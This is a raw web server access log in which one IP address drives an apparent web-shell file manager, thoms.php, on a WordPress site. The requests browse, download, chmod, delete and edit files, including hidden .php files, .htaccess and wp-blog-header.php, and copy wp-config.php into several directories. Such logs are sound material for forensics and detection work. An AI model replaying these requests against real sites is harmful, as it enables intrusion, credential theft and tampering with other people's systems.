45.135.193.11 - - [11/Sep/2026:23:21:12 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 13973 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade%2F.770545370729360.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:12 -0400] "GET /thoms.php?dl=.770545370729360.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 13981 "http://163.245.207.76:443/thoms.php?dl=.770545370729360.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:12 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade&view=termps.php HTTP/1.1" 200 11838 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fupgrade&view=termps.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:12 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade&view=txets.php HTTP/1.1" 200 11838 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fupgrade&view=txets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:13 -0400] "GET /thoms.php?chmod=txets.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=txets.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:13 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade%2F.htaccess&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade%2F.htaccess&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:13 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade%2Ferror_log&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade%2Ferror_log&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:13 -0400] "GET /thoms.php?dl=txets.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 13983 "http://163.245.207.76:443/thoms.php?dl=txets.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:13 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade&view=index.php HTTP/1.1" 200 11833 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fupgrade&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:13 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade&view=postnews.php HTTP/1.1" 200 11848 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fupgrade&view=postnews.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:13 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade&view=.598633700255332.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fupgrade&view=.598633700255332.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:13 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade&view=.770545370729360.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fupgrade&view=.770545370729360.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:13 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade%2Fpostnews.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade%2Fpostnews.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:13 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 14003 "https://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fupgrade&view=.598633700255332.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:13 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 14005 "https://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fupgrade&view=.770545370729360.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:13 -0400] "GET /big-wife.com.tw/upgrade/.577848875820371.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:13 -0400] "GET /thoms.php?chmod=.577848875820371.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=.577848875820371.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:13 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 13776 "https://163.245.207.76:443/thoms.php?chmod=.577848875820371.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:13 -0400] "GET /thoms.php?chmod=.598633700255332.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=.598633700255332.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:13 -0400] "GET /thoms.php?chmod=error_log&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:13 -0400] "GET /thoms.php?dl=.577848875820371.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 13784 "http://163.245.207.76:443/thoms.php?dl=.577848875820371.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:13 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 13774 "https://163.245.207.76:443/thoms.php?chmod=.598633700255332.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:14 -0400] "GET /big-wife.com.tw/upgrade/termps.php HTTP/1.1" 200 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:14 -0400] "GET /thoms.php?chmod=postnews.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11500 "http://163.245.207.76:443/thoms.php?chmod=postnews.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:14 -0400] "GET /thoms.php?del=.htaccess&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 13784 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:14 -0400] "GET /thoms.php?chmod=index.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11497 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:14 -0400] "GET /thoms.php?del=.770545370729360.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 13767 "http://163.245.207.76:443/thoms.php?del=.770545370729360.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:14 -0400] "GET /big-wife.com.tw/upgrade/index.php HTTP/1.1" 200 6553 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:14 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade&view=.htaccess HTTP/1.1" 200 11936 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fupgrade&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:14 -0400] "GET /thoms.php?del=admin.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 13784 "http://163.245.207.76:443/thoms.php?del=admin.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:14 -0400] "GET /big-wife.com.tw/upgrade/admin.php HTTP/1.1" 200 1105 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:14 -0400] "GET /big-wife.com.tw/upgrade HTTP/1.1" 301 795 "http://163.245.207.76:443/big-wife.com.tw/upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:14 -0400] "GET /thoms.php?dl=.598633700255332.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 13774 "http://163.245.207.76:443/thoms.php?dl=.598633700255332.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:14 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade%2Fadmin.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fupgrade%2Fadmin.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:14 -0400] "GET /big-wife.com.tw/upgrade/ HTTP/1.1" 200 6541 "https://163.245.207.76:443/big-wife.com.tw/upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:14 -0400] "GET /thoms.php?dl=admin.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 13800 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:14 -0400] "GET /thoms.php?edit=wp-blog-header.php&p=big-wife.com.tw HTTP/1.1" 200 11797 "http://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:14 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade&view=error_log HTTP/1.1" 200 12080 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fupgrade&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:14 -0400] "GET /thoms.php?edit=wp-blog-header.php&env=ace&p=big-wife.com.tw HTTP/1.1" 200 15412 "http://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&env=ace&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:15 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config.php&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:15 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:15 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config.php&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:15 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config.php&p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 11406 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config.php&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:15 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 18436 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:15 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 18436 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:15 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:15 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:15 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config.php&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config.php&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:15 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config.php&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config.php&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:15 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11861 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:15 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config.php&p= HTTP/1.1" 200 12269 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:15 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11363 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:15 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:15 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&p= HTTP/1.1" 200 12279 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:15 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 18607 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:16 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:16 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:16 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:16 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:16 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 18609 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:16 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11370 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:16 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11374 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:16 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:16 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11861 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:16 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 11394 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:16 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 11362 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:16 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:16 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11447 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:16 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&p= HTTP/1.1" 200 12270 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:16 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 11395 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
